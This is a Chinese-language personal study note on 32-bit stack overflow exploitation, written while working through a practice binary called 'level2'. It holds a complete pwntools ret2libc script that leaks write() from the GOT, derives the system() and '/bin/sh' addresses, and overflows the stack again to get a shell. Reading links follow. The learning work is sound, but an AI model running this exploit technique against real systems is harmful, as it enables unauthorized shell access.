栈溢出笔记-第三天
在看蒸米文章时候,http://www.vuln.cn/6645,这个例子是向buff写入shellcode,最后ret到shellcode地址执行。
堆栈示意图就是这样:
注意的点,算shellcode地址,去调试core文件,x/10s $esp-144,实际就是buf起始地址。
通过ROP绕过DEP和ASLR防护
蒸米的最后一个例子结合玉涵的视频看,需要理解plt和got
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
#p = remote('127.0.0.1', 10003)
gdb.attach(proc.pidof(p)[0])
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
对poc的理解,为了规避堆栈平衡问题,函数再一次返回vulfun的地址,write函数原型:ssize_t write(int fd,const void*buf,size_t count);打印出got中write函数地址。
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
在write函数下断,右图是栈中传入的4个参数
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
再一次溢出获得shell
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
另一种堆栈平衡的poc,这个是
其中,write@plt puts@got等地址都需要在IDA中查看,因为plt和got理解不深,还需要看那本经典的书,回来在测这个方法。
下一步还是继续看《程序员的自我修养—链接、装载与库》,这里面的题目看的有点吃力,打好基础再刷这个https://www.anquanke.com/post/id/85831 目前看https://bbs.pediy.com/user-510716.htm https://bbs.pediy.com/thread-248681.htm http://www.vuln.cn/6643 https://www.anquanke.com/post/id/85831和ctf-wiki
目前都是在x86系统搞的,x64环境都没编译,先捋一遍,熟悉了,在搞x64的环境
参考链接
https://www.ichunqiu.com/course/63279
http://www.vuln.cn/6645
https://zhuanlan.zhihu.com/p/25892385